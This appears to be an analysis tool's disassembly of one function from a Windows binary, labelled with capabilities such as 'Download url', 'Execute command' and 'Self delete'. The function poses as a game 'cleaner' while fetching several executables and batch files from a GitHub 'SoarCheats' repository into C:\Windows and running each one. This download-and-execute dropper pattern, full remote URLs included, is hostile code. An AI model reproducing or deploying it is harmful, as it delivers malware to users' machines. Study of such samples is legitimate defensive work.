Function at 0x1400039e0
Capabilities:
Download url
Execute command
Receive data
Self delete

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14000860c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400046b0
mov rcx, rax
lea rdx, [0x140004860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ebx, ebx
mov qword [rbp - 8], 0xf
lea rdx, str._Updated_:_11_29_2023
mov qword [rbp - 0x20], rbx
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x10], rbx
lea r8d, [rbx + 0x15]
call fcn.1400042f0
lea rcx, [rbp - 0x20]
call fcn.140003590
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8d, [rbx + 0x19]
mov qword [rbp - 0x20], rbx
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], 7
call fcn.140004160
lea rcx, [rbp - 0x20]
call fcn.140003850
lea rcx, str.C:Windowsilovesoar7.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.color_f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Windowsilovesoar4.bat
xor ecx, ecx
lea rdx, str.https:__github.com_SoarCheats_jhj2iuagsfd7g278tayusfgyug26t_raw_master_edfiuhvbieurbgiu3bg3kigh_fdswougbfh3248bghjk3g4_ilovesoar4.bat
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Windowsilovesoar1.exe
xor ecx, ecx
lea rdx, str.https:__github.com_SoarCheats_jhj2iuagsfd7g278tayusfgyug26t_raw_master_edfiuhvbieurbgiu3bg3kigh_fdswougbfh3248bghjk3g4_ilovesoar1.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Windowsilovesoar2.exe
xor ecx, ecx
lea rdx, str.https:__github.com_SoarCheats_jhj2iuagsfd7g278tayusfgyug26t_raw_master_edfiuhvbieurbgiu3bg3kigh_fdswougbfh3248bghjk3g4_ilovesoar2.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Windowsilovesoar3.exe
xor ecx, ecx
lea rdx, str.https:__github.com_SoarCheats_jhj2iuagsfd7g278tayusfgyug26t_raw_master_edfiuhvbieurbgiu3bg3kigh_fdswougbfh3248bghjk3g4_ilovesoar3.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.C:Windowsilovesoar4.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowsilovesoar1.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowsilovesoar2.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowsilovesoar3.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowsilovesoar3.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.color_f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowsilovesoar9.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowsilovesoar8.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14000860c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400046b0
mov rcx, rax
lea rdx, [0x140004860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp - 0x20], rbx
lea r8d, [rbx + 0x72]
mov qword [rbp - 0x10], rbx
lea rdx, str.__Quick_Note__Theres_another_cleaner_after_this__whenever_you_clean_fortmeme__type_3_to_exit_and_it_will_proceed._n
mov qword [rbp - 8], 0xf
lea rcx, [rbp - 0x20]
call fcn.1400042f0
lea rcx, [rbp - 0x20]
call fcn.140003590
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Windowsilovesoar5.exe
xor ecx, ecx
lea rdx, str.https:__github.com_SoarCheats_jhj2iuagsfd7g278tayusfgyug26t_raw_master_edfiuhvbieurbgiu3bg3kigh_fdswougbfh3248bghjk3g4_ilovesoar5.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.C:Windowsilovesoar5.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14000860c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400046b0
mov rcx, rax
lea rdx, [0x140004860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8d, [rbx + 0x33]
mov qword [rbp - 0x20], rbx
lea rdx, str.__After_this_cleaner_you_can_close_the_application_n
mov qword [rbp - 0x10], rbx
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], 0xf
call fcn.1400042f0
lea rcx, [rbp - 0x20]
call fcn.140003590
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14000860c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Windowsilovesoar6.exe
xor ecx, ecx
lea rdx, str.https:__github.com_SoarCheats_jhj2iuagsfd7g278tayusfgyug26t_raw_master_edfiuhvbieurbgiu3bg3kigh_fdswougbfh3248bghjk3g4_ilovesoar6.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.C:Windowsilovesoar6.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
jmp fcn.1400030d0